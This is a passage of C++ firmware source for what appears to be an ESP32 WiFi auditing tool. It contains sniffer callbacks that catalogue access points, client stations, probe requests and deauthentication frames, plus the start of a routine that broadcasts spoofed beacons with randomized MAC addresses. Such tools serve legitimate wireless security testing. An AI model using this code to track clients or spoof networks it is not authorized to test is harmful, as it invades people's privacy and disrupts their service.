  1275. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1276. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1277. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1278. #ifdef HAS_SCREEN
  1279. int buf = display_obj.display_buffer->size();
  1280. #else
  1281. int buf = 0;
  1282. #endif
  1283. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1284. {
  1285. char addr[] = "00:00:00:00:00:00";
  1286. getMAC(addr, snifferPacket->payload, 10);
  1287. src.concat(addr);
  1288. if (src == "de:ad:be:ef:de:ad") {
  1289. delay(random(0, 10));
  1290. Serial.print("RSSI: ");
  1291. Serial.print(snifferPacket->rx_ctrl.rssi);
  1292. Serial.print(" Ch: ");
  1293. Serial.print(snifferPacket->rx_ctrl.channel);
  1294. Serial.print(" BSSID: ");
  1295. Serial.print(addr);
  1296. //display_string.concat(addr);
  1297. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1298. Serial.print(" ESSID: ");
  1299. display_string.concat(" -> ");
  1300. // Just grab the first 255 bytes of the pwnagotchi beacon
  1301. // because that is where the name is
  1302. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1303. for (int i = 0; i < len - 37; i++)
  1304. {
  1305. Serial.print((char)snifferPacket->payload[i + 38]);
  1306. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1307. if (isAscii(snifferPacket->payload[i + 38]))
  1308. essid.concat((char)snifferPacket->payload[i + 38]);
  1309. else
  1310. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1311. }
  1312. //essid.concat("\": \"\"}}");
  1313. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1314. // Load json
  1315. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1316. DynamicJsonDocument json(1024); // ArduinoJson v6
  1317. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1318. // ArduinoJson v6
  1319. if (deserializeJson(json, essid)) {
  1320. Serial.println("\nCould not parse Pwnagotchi json");
  1321. display_string.concat(essid);
  1322. }
  1323. else {
  1324. Serial.println("\nSuccessfully parsed json");
  1325. String json_output;
  1326. //json.printTo(json_output); // ArduinoJson v5
  1327. serializeJson(json, json_output); // ArduinoJson v6
  1328. Serial.println(json_output);
  1329. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1330. }
  1331. int temp_len = display_string.length();
  1332. for (int i = 0; i < 40 - temp_len; i++)
  1333. {
  1334. display_string.concat(" ");
  1335. }
  1336. Serial.print(" ");
  1337. #ifdef HAS_SCREEN
  1338. if (display_obj.display_buffer->size() == 0)
  1339. {
  1340. display_obj.loading = true;
  1341. display_obj.display_buffer->add(display_string);
  1342. display_obj.loading = false;
  1343. }
  1344. #endif
  1345. Serial.println();
  1346. if (save_packet)
  1347. sd_obj.addPacket(snifferPacket->payload, len);
  1348. }
  1349. }
  1350. }
  1351. }
  1352. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1353. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1354. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1355. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1356. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1357. int len = snifferPacket->rx_ctrl.sig_len;
  1358. String display_string = "";
  1359. String essid = "";
  1360. String bssid = "";
  1361. if (type == WIFI_PKT_MGMT)
  1362. {
  1363. len -= 4;
  1364. int fctl = ntohs(frameControl->fctl);
  1365. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1366. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1367. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1368. #ifdef HAS_SCREEN
  1369. int buf = display_obj.display_buffer->size();
  1370. #else
  1371. int buf = 0;
  1372. #endif
  1373. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1374. {
  1375. char addr[] = "00:00:00:00:00:00";
  1376. getMAC(addr, snifferPacket->payload, 10);
  1377. bool in_list = false;
  1378. bool mac_match = true;
  1379. for (int i = 0; i < access_points->size(); i++) {
  1380. mac_match = true;
  1381. //Serial.print("Checking ");
  1382. //Serial.print(addr);
  1383. //Serial.println(" against " + (String)access_points->get(i).essid);
  1384. for (int x = 0; x < 6; x++) {
  1385. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1386. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1387. mac_match = false;
  1388. //Serial.println("MACs do not match");
  1389. break;
  1390. }
  1391. }
  1392. if (mac_match) {
  1393. in_list = true;
  1394. break;
  1395. }
  1396. }
  1397. if (!in_list) {
  1398. delay(random(0, 10));
  1399. Serial.print("RSSI: ");
  1400. Serial.print(snifferPacket->rx_ctrl.rssi);
  1401. Serial.print(" Ch: ");
  1402. Serial.print(snifferPacket->rx_ctrl.channel);
  1403. Serial.print(" BSSID: ");
  1404. Serial.print(addr);
  1405. display_string.concat(addr);
  1406. Serial.print(" ESSID: ");
  1407. display_string.concat(" -> ");
  1408. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1409. {
  1410. Serial.print((char)snifferPacket->payload[i + 38]);
  1411. display_string.concat((char)snifferPacket->payload[i + 38]);
  1412. essid.concat((char)snifferPacket->payload[i + 38]);
  1413. }
  1414. bssid.concat(addr);
  1415. int temp_len = display_string.length();
  1416. for (int i = 0; i < 40 - temp_len; i++)
  1417. {
  1418. display_string.concat(" ");
  1419. }
  1420. Serial.print(" ");
  1421. #ifdef HAS_SCREEN
  1422. if (display_obj.display_buffer->size() == 0)
  1423. {
  1424. display_obj.loading = true;
  1425. display_obj.display_buffer->add(display_string);
  1426. display_obj.loading = false;
  1427. }
  1428. #endif
  1429. if (essid == "") {
  1430. essid = bssid;
  1431. Serial.print(essid + " ");
  1432. }
  1433. //LinkedList<char> beacon = new LinkedList<char>();
  1434. /*AccessPoint ap = {essid,
  1435. snifferPacket->rx_ctrl.channel,
  1436. {snifferPacket->payload[10],
  1437. snifferPacket->payload[11],
  1438. snifferPacket->payload[12],
  1439. snifferPacket->payload[13],
  1440. snifferPacket->payload[14],
  1441. snifferPacket->payload[15]},
  1442. false,
  1443. NULL};*/
  1444. AccessPoint ap;
  1445. ap.essid = essid;
  1446. ap.channel = snifferPacket->rx_ctrl.channel;
  1447. ap.bssid[0] = snifferPacket->payload[10];
  1448. ap.bssid[1] = snifferPacket->payload[11];
  1449. ap.bssid[2] = snifferPacket->payload[12];
  1450. ap.bssid[3] = snifferPacket->payload[13];
  1451. ap.bssid[4] = snifferPacket->payload[14];
  1452. ap.bssid[5] = snifferPacket->payload[15];
  1453. ap.selected = false;
  1454. ap.stations = new LinkedList<int>();
  1455. ap.beacon = new LinkedList<char>();
  1456. //for (int i = 0; i < len; i++) {
  1457. // ap.beacon->add(snifferPacket->payload[i]);
  1458. //}
  1459. ap.beacon->add(snifferPacket->payload[34]);
  1460. ap.beacon->add(snifferPacket->payload[35]);
  1461. Serial.print("\nBeacon: ");
  1462. for (int i = 0; i < ap.beacon->size(); i++) {
  1463. char hexCar[4];
  1464. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1465. Serial.print(hexCar);
  1466. if ((i + 1) % 16 == 0)
  1467. Serial.print("\n");
  1468. else
  1469. Serial.print(" ");
  1470. }
  1471. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1472. access_points->add(ap);
  1473. Serial.print(access_points->size());
  1474. Serial.println();
  1475. if (save_packet)
  1476. sd_obj.addPacket(snifferPacket->payload, len);
  1477. }
  1478. }
  1479. }
  1480. }
  1481. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1482. {
  1483. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1484. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1485. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1486. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1487. int len = snifferPacket->rx_ctrl.sig_len;
  1488. String display_string = "";
  1489. String essid = "";
  1490. String bssid = "";
  1491. if (type == WIFI_PKT_MGMT)
  1492. {
  1493. len -= 4;
  1494. int fctl = ntohs(frameControl->fctl);
  1495. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1496. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1497. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1498. #ifdef HAS_SCREEN
  1499. int buf = display_obj.display_buffer->size();
  1500. #else
  1501. int buf = 0;
  1502. #endif
  1503. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1504. {
  1505. char addr[] = "00:00:00:00:00:00";
  1506. getMAC(addr, snifferPacket->payload, 10);
  1507. bool in_list = false;
  1508. bool mac_match = true;
  1509. for (int i = 0; i < access_points->size(); i++) {
  1510. mac_match = true;
  1511. //Serial.print("Checking ");
  1512. //Serial.print(addr);
  1513. //Serial.println(" against " + (String)access_points->get(i).essid);
  1514. for (int x = 0; x < 6; x++) {
  1515. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1516. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1517. mac_match = false;
  1518. //Serial.println("MACs do not match");
  1519. break;
  1520. }
  1521. }
  1522. if (mac_match) {
  1523. in_list = true;
  1524. break;
  1525. }
  1526. }
  1527. if (!in_list) {
  1528. delay(random(0, 10));
  1529. Serial.print("RSSI: ");
  1530. Serial.print(snifferPacket->rx_ctrl.rssi);
  1531. Serial.print(" Ch: ");
  1532. Serial.print(snifferPacket->rx_ctrl.channel);
  1533. Serial.print(" BSSID: ");
  1534. Serial.print(addr);
  1535. display_string.concat(addr);
  1536. Serial.print(" ESSID: ");
  1537. display_string.concat(" -> ");
  1538. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1539. {
  1540. Serial.print((char)snifferPacket->payload[i + 38]);
  1541. display_string.concat((char)snifferPacket->payload[i + 38]);
  1542. essid.concat((char)snifferPacket->payload[i + 38]);
  1543. }
  1544. bssid.concat(addr);
  1545. int temp_len = display_string.length();
  1546. for (int i = 0; i < 40 - temp_len; i++)
  1547. {
  1548. display_string.concat(" ");
  1549. }
  1550. Serial.print(" ");
  1551. #ifdef HAS_SCREEN
  1552. if (display_obj.display_buffer->size() == 0)
  1553. {
  1554. display_obj.loading = true;
  1555. display_obj.display_buffer->add(display_string);
  1556. display_obj.loading = false;
  1557. }
  1558. #endif
  1559. if (essid == "") {
  1560. essid = bssid;
  1561. Serial.print(essid + " ");
  1562. }
  1563. AccessPoint ap = {essid,
  1564. snifferPacket->rx_ctrl.channel,
  1565. {snifferPacket->payload[10],
  1566. snifferPacket->payload[11],
  1567. snifferPacket->payload[12],
  1568. snifferPacket->payload[13],
  1569. snifferPacket->payload[14],
  1570. snifferPacket->payload[15]},
  1571. false,
  1572. NULL,
  1573. snifferPacket->rx_ctrl.rssi,
  1574. new LinkedList<int>()};
  1575. access_points->add(ap);
  1576. Serial.print(access_points->size());
  1577. Serial.println();
  1578. if (save_packet)
  1579. sd_obj.addPacket(snifferPacket->payload, len);
  1580. }
  1581. }
  1582. }
  1583. }
  1584. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1585. {
  1586. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1587. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1588. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1589. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1590. int len = snifferPacket->rx_ctrl.sig_len;
  1591. String display_string = "";
  1592. if (type == WIFI_PKT_MGMT)
  1593. {
  1594. len -= 4;
  1595. int fctl = ntohs(frameControl->fctl);
  1596. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1597. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1598. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1599. #ifdef HAS_SCREEN
  1600. int buf = display_obj.display_buffer->size();
  1601. #else
  1602. int buf = 0;
  1603. #endif
  1604. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1605. {
  1606. delay(random(0, 10));
  1607. Serial.print("RSSI: ");
  1608. Serial.print(snifferPacket->rx_ctrl.rssi);
  1609. Serial.print(" Ch: ");
  1610. Serial.print(snifferPacket->rx_ctrl.channel);
  1611. Serial.print(" BSSID: ");
  1612. char addr[] = "00:00:00:00:00:00";
  1613. getMAC(addr, snifferPacket->payload, 10);
  1614. Serial.print(addr);
  1615. display_string.concat(addr);
  1616. Serial.print(" ESSID: ");
  1617. display_string.concat(" -> ");
  1618. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1619. {
  1620. Serial.print((char)snifferPacket->payload[i + 38]);
  1621. display_string.concat((char)snifferPacket->payload[i + 38]);
  1622. }
  1623. int temp_len = display_string.length();
  1624. #ifdef HAS_SCREEN
  1625. for (int i = 0; i < 40 - temp_len; i++)
  1626. {
  1627. display_string.concat(" ");
  1628. }
  1629. Serial.print(" ");
  1630. if (display_obj.display_buffer->size() == 0)
  1631. {
  1632. display_obj.loading = true;
  1633. display_obj.display_buffer->add(display_string);
  1634. display_obj.loading = false;
  1635. }
  1636. #endif
  1637. Serial.println();
  1638. if (save_packet)
  1639. sd_obj.addPacket(snifferPacket->payload, len);
  1640. }
  1641. }
  1642. }
  1643. void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1644. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1645. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1646. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1647. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1648. int len = snifferPacket->rx_ctrl.sig_len;
  1649. String display_string = "";
  1650. String mac = "";
  1651. if (type == WIFI_PKT_MGMT)
  1652. {
  1653. len -= 4;
  1654. int fctl = ntohs(frameControl->fctl);
  1655. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1656. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1657. }
  1658. char ap_addr[] = "00:00:00:00:00:00";
  1659. char dst_addr[] = "00:00:00:00:00:00";
  1660. int ap_index = 0;
  1661. // Check if frame has ap in list of APs and determine position
  1662. uint8_t frame_offset = 0;
  1663. int offsets[2] = {10, 4};
  1664. bool matched_ap = false;
  1665. bool ap_is_src = false;
  1666. bool mac_match = true;
  1667. for (int y = 0; y < 2; y++) {
  1668. for (int i = 0; i < access_points->size(); i++) {
  1669. mac_match = true;
  1670. for (int x = 0; x < 6; x++) {
  1671. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1672. if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
  1673. mac_match = false;
  1674. break;
  1675. }
  1676. }
  1677. if (mac_match) {
  1678. matched_ap = true;
  1679. if (offsets[y] == 10)
  1680. ap_is_src = true;
  1681. ap_index = i;
  1682. getMAC(ap_addr, snifferPacket->payload, offsets[y]);
  1683. break;
  1684. }
  1685. }
  1686. if (matched_ap)
  1687. break;
  1688. }
  1689. // If did not find ap from list in frame, drop frame
  1690. if (!matched_ap)
  1691. return;
  1692. else {
  1693. if (ap_is_src)
  1694. frame_offset = 4;
  1695. else
  1696. frame_offset = 10;
  1697. }
  1698. /* Stuff to care about now
  1699. * ap_is_src
  1700. * ap_index
  1701. */
  1702. // Check if we already have this station
  1703. bool in_list = false;
  1704. for (int i = 0; i < stations->size(); i++) {
  1705. mac_match = true;
  1706. for (int x = 0; x < 6; x++) {
  1707. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1708. if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
  1709. mac_match = false;
  1710. //Serial.println("MACs do not match");
  1711. break;
  1712. }
  1713. }
  1714. if (mac_match) {
  1715. in_list = true;
  1716. break;
  1717. }
  1718. }
  1719. getMAC(dst_addr, snifferPacket->payload, 4);
  1720. // Check if dest is broadcast
  1721. if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
  1722. return;
  1723. // Add to list of stations
  1724. Station sta = {
  1725. {snifferPacket->payload[frame_offset],
  1726. snifferPacket->payload[frame_offset + 1],
  1727. snifferPacket->payload[frame_offset + 2],
  1728. snifferPacket->payload[frame_offset + 3],
  1729. snifferPacket->payload[frame_offset + 4],
  1730. snifferPacket->payload[frame_offset + 5]},
  1731. false};
  1732. stations->add(sta);
  1733. // Print findings to serial
  1734. Serial.print((String)stations->size() + ": ");
  1735. char sta_addr[] = "00:00:00:00:00:00";
  1736. if (ap_is_src) {
  1737. Serial.print("ap: ");
  1738. Serial.print(ap_addr);
  1739. Serial.print(" -> sta: ");
  1740. getMAC(sta_addr, snifferPacket->payload, 4);
  1741. Serial.println(sta_addr);
  1742. }
  1743. else {
  1744. Serial.print("sta: ");
  1745. getMAC(sta_addr, snifferPacket->payload, 10);
  1746. Serial.print(sta_addr);
  1747. Serial.print(" -> ap: ");
  1748. Serial.println(ap_addr);
  1749. }
  1750. display_string.concat(sta_addr);
  1751. display_string.concat(" -> ");
  1752. display_string.concat(access_points->get(ap_index).essid);
  1753. int temp_len = display_string.length();
  1754. #ifdef HAS_SCREEN
  1755. for (int i = 0; i < 40 - temp_len; i++)
  1756. {
  1757. display_string.concat(" ");
  1758. }
  1759. Serial.print(" ");
  1760. if (display_obj.display_buffer->size() == 0)
  1761. {
  1762. display_obj.loading = true;
  1763. display_obj.display_buffer->add(display_string);
  1764. display_obj.loading = false;
  1765. }
  1766. #endif
  1767. // Add station index to AP in list
  1768. //access_points->get(ap_index).stations->add(stations->size() - 1);
  1769. AccessPoint ap = access_points->get(ap_index);
  1770. ap.stations->add(stations->size() - 1);
  1771. access_points->set(ap_index, ap);
  1772. if (save_packet)
  1773. sd_obj.addPacket(snifferPacket->payload, len);
  1774. }
  1775. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1776. {
  1777. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1778. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1779. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1780. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1781. int len = snifferPacket->rx_ctrl.sig_len;
  1782. String display_string = "";
  1783. if (type == WIFI_PKT_MGMT)
  1784. {
  1785. len -= 4;
  1786. int fctl = ntohs(frameControl->fctl);
  1787. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1788. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1789. }
  1790. Serial.print("RSSI: ");
  1791. Serial.print(snifferPacket->rx_ctrl.rssi);
  1792. Serial.print(" Ch: ");
  1793. Serial.print(snifferPacket->rx_ctrl.channel);
  1794. Serial.print(" BSSID: ");
  1795. char addr[] = "00:00:00:00:00:00";
  1796. getMAC(addr, snifferPacket->payload, 10);
  1797. Serial.print(addr);
  1798. display_string.concat(text_table4[0]);
  1799. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1800. display_string.concat(" ");
  1801. display_string.concat(addr);
  1802. int temp_len = display_string.length();
  1803. #ifdef HAS_SCREEN
  1804. for (int i = 0; i < 40 - temp_len; i++)
  1805. {
  1806. display_string.concat(" ");
  1807. }
  1808. Serial.print(" ");
  1809. if (display_obj.display_buffer->size() == 0)
  1810. {
  1811. display_obj.loading = true;
  1812. display_obj.display_buffer->add(display_string);
  1813. display_obj.loading = false;
  1814. }
  1815. #endif
  1816. Serial.println();
  1817. if (save_packet)
  1818. sd_obj.addPacket(snifferPacket->payload, len);
  1819. }
  1820. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1821. {
  1822. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1823. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1824. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1825. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1826. int len = snifferPacket->rx_ctrl.sig_len;
  1827. String display_string = "";
  1828. if (type == WIFI_PKT_MGMT)
  1829. {
  1830. len -= 4;
  1831. int fctl = ntohs(frameControl->fctl);
  1832. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1833. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1834. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1835. #ifdef HAS_SCREEN
  1836. int buf = display_obj.display_buffer->size();
  1837. #else
  1838. int buf = 0;
  1839. #endif
  1840. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1841. {
  1842. delay(random(0, 10));
  1843. Serial.print("RSSI: ");
  1844. Serial.print(snifferPacket->rx_ctrl.rssi);
  1845. Serial.print(" Ch: ");
  1846. Serial.print(snifferPacket->rx_ctrl.channel);
  1847. Serial.print(" BSSID: ");
  1848. char addr[] = "00:00:00:00:00:00";
  1849. char dst_addr[] = "00:00:00:00:00:00";
  1850. getMAC(addr, snifferPacket->payload, 10);
  1851. getMAC(dst_addr, snifferPacket->payload, 4);
  1852. Serial.print(addr);
  1853. Serial.print(" -> ");
  1854. Serial.print(dst_addr);
  1855. display_string.concat(text_table4[0]);
  1856. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1857. display_string.concat(" ");
  1858. display_string.concat(addr);
  1859. #ifdef HAS_SCREEN
  1860. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1861. {
  1862. display_string.concat(" ");
  1863. }
  1864. Serial.print(" ");
  1865. if (display_obj.display_buffer->size() == 0)
  1866. {
  1867. display_obj.loading = true;
  1868. display_obj.display_buffer->add(display_string);
  1869. display_obj.loading = false;
  1870. }
  1871. #endif
  1872. Serial.println();
  1873. if (save_packet)
  1874. sd_obj.addPacket(snifferPacket->payload, len);
  1875. }
  1876. }
  1877. }
  1878. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1879. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1880. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1881. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1882. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1883. int len = snifferPacket->rx_ctrl.sig_len;
  1884. String display_string = "";
  1885. if (type == WIFI_PKT_MGMT)
  1886. {
  1887. len -= 4;
  1888. int fctl = ntohs(frameControl->fctl);
  1889. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1890. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1891. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1892. #ifdef HAS_SCREEN
  1893. int buf = display_obj.display_buffer->size();
  1894. #else
  1895. int buf = 0;
  1896. #endif
  1897. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1898. {
  1899. delay(random(0, 10));
  1900. Serial.print("RSSI: ");
  1901. Serial.print(snifferPacket->rx_ctrl.rssi);
  1902. Serial.print(" Ch: ");
  1903. Serial.print(snifferPacket->rx_ctrl.channel);
  1904. Serial.print(" Client: ");
  1905. char addr[] = "00:00:00:00:00:00";
  1906. getMAC(addr, snifferPacket->payload, 10);
  1907. Serial.print(addr);
  1908. display_string.concat(addr);
  1909. Serial.print(" Requesting: ");
  1910. display_string.concat(" -> ");
  1911. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1912. {
  1913. Serial.print((char)snifferPacket->payload[26 + i]);
  1914. display_string.concat((char)snifferPacket->payload[26 + i]);
  1915. }
  1916. // Print spaces because of the rotating lines of the hardware scroll.
  1917. // The same characters print from previous lines so I just overwrite them
  1918. // with spaces.
  1919. #ifdef HAS_SCREEN
  1920. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1921. {
  1922. display_string.concat(" ");
  1923. }
  1924. if (display_obj.display_buffer->size() == 0)
  1925. {
  1926. //while (display_obj.printing)
  1927. // delay(1);
  1928. display_obj.loading = true;
  1929. display_obj.display_buffer->add(display_string);
  1930. display_obj.loading = false;
  1931. }
  1932. #endif
  1933. Serial.println();
  1934. if (save_packet)
  1935. sd_obj.addPacket(snifferPacket->payload, len);
  1936. }
  1937. }
  1938. }
  1939. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1940. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1941. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1942. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1943. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1944. int len = snifferPacket->rx_ctrl.sig_len;
  1945. String display_string = "";
  1946. String essid = "";
  1947. bool found = false;
  1948. if (type == WIFI_PKT_MGMT)
  1949. {
  1950. len -= 4;
  1951. int fctl = ntohs(frameControl->fctl);
  1952. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1953. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1954. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1955. #ifdef HAS_SCREEN
  1956. int buf = display_obj.display_buffer->size();
  1957. #else
  1958. int buf = 0;
  1959. #endif
  1960. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1961. {
  1962. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1963. {
  1964. essid.concat((char)snifferPacket->payload[26 + i]);
  1965. }
  1966. for (int i = 0; i < ssids->size(); i++) {
  1967. if (ssids->get(i).essid == essid) {
  1968. Serial.println("Found a sheep");
  1969. found = true;
  1970. break;
  1971. }
  1972. }
  1973. if (!found)
  1974. return;
  1975. delay(random(0, 10));
  1976. Serial.print("RSSI: ");
  1977. Serial.print(snifferPacket->rx_ctrl.rssi);
  1978. Serial.print(" Ch: ");
  1979. Serial.print(snifferPacket->rx_ctrl.channel);
  1980. Serial.print(" Client: ");
  1981. char addr[] = "00:00:00:00:00:00";
  1982. getMAC(addr, snifferPacket->payload, 10);
  1983. Serial.print(addr);
  1984. display_string.concat(addr);
  1985. Serial.print(" Requesting: ");
  1986. display_string.concat(" -> ");
  1987. // ESSID
  1988. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1989. {
  1990. Serial.print((char)snifferPacket->payload[26 + i]);
  1991. display_string.concat((char)snifferPacket->payload[26 + i]);
  1992. }
  1993. // Print spaces because of the rotating lines of the hardware scroll.
  1994. // The same characters print from previous lines so I just overwrite them
  1995. // with spaces.
  1996. #ifdef HAS_SCREEN
  1997. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1998. {
  1999. display_string.concat(" ");
  2000. }
  2001. if (display_obj.display_buffer->size() == 0)
  2002. {
  2003. display_obj.loading = true;
  2004. display_obj.display_buffer->add(display_string);
  2005. display_obj.loading = false;
  2006. }
  2007. #endif
  2008. Serial.println();
  2009. if (save_packet)
  2010. sd_obj.addPacket(snifferPacket->payload, len);
  2011. }
  2012. }
  2013. }
  2014. /*
  2015. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  2016. set_channel = random(1,12);
  2017. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2018. delay(1);
  2019. // Randomize SRC MAC
  2020. packet[10] = packet[16] = custom_ssid.bssid[0];
  2021. packet[11] = packet[17] = custom_ssid.bssid[1];
  2022. packet[12] = packet[18] = custom_ssid.bssid[2];
  2023. packet[13] = packet[19] = custom_ssid.bssid[3];
  2024. packet[14] = packet[20] = custom_ssid.bssid[4];
  2025. packet[15] = packet[21] = custom_ssid.bssid[5];
  2026. char ESSID[custom_ssid.essid.length() + 1] = {};
  2027. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2028. }*/
  2029. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  2030. set_channel = random(1,12);
  2031. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2032. delay(1);
  2033. if (custom_ssid.beacon->size() == 0)
  2034. return;
  2035. // Randomize SRC MAC
  2036. // Randomize SRC MAC
  2037. packet[10] = packet[16] = random(256);
  2038. packet[11] = packet[17] = random(256);
  2039. packet[12] = packet[18] = random(256);
